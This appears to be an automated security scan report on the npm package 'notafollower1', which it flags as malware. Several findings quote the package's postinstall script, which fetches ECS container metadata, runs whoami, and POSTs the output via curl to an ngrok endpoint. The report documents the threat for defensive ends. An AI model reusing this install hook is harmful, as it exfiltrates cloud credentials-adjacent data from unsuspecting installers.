Output is exfiltrated to a remote ngrok host. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 99.0% - **Started:** 2026-08-13T21:42:56.593Z - **Finished:** 2026-08-13T21:43:13.406Z - **Download time:** 506 ms - **Static scan time:** 10 ms - **AI review time:** 16296 ms - **Total time:** 16813 ms ## Security analysis ### Published attack-surface review - **Summary:** Installing the package triggers credential-adjacent container metadata collection and user discovery. Output is exfiltrated to a remote ngrok host. - **Trigger:** npm postinstall during package installation - **Impact:** Exposes container metadata and host-user context to an attacker-controlled endpoint. - **Evidence paths:** package.json - **Review source:** ai\_review - **Reviewed:** 2026-08-13T21:43:13.406Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** fetch ECS metadata, execute whoami, and POST collected output externally - **Attack narrative:** On installation, the postinstall command reads the ECS metadata service URL supplied by the runtime, fetches its response, obtains the current username through child\_process, and writes both to stdout. Shell piping sends that output by curl to an external ngrok endpoint, without user interaction. - **Rationale:** The only package source defines an automatic install-time collection and exfiltration chain targeting ECS metadata and host identity. - **Files touched:** package.json - **Network endpoints:** https://mourner-slot-explicit.ngrok-free.dev ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** postinstall fetches the ECS container metadata URL from the environment., The install hook collects the current username and pipes metadata/output to an ngrok endpoint. - **Evidence against:** Package contains no other files or declared entrypoints; the malicious behavior is confined to the lifecycle hook. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.sta... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.sta... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Same File Env Network Execution - **Category:** Source - **Confidence:** 85.0% - **Path:** package.json\#scripts.postinstall - **Public source:** [View source]() A single source file combines environment access, network access, and code or shell execution; review context before blocking. Public source snippet (untrusted): ```text L1: "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.status,awai... ``` ### 5. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 6. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() postinstall fetches the ECS container metadata URL from the environment. Public source snippet (untrusted): ```json "postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>{const u=require('child_process').execSync('whoami').toString().trim();console.log('user:',u,'status:',r.status,await r.text())}).catch(console.error)\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-" ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** notafollower1 - **Ecosystem:** npm - **Version:** 1.0.5 - **Version published:** 2026-08-13T21:37:10.553Z - **Package first seen:** 2026-08-13T21:11:54.294Z - **Package last seen:** 2026-08-14T14:55:05.134Z - **Known versions:** 14 - **Latest version:** 1.0.13 - **Appeal under review:** No - **Artifact files:** 1 - **Artifact unpacked size:** 399 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()
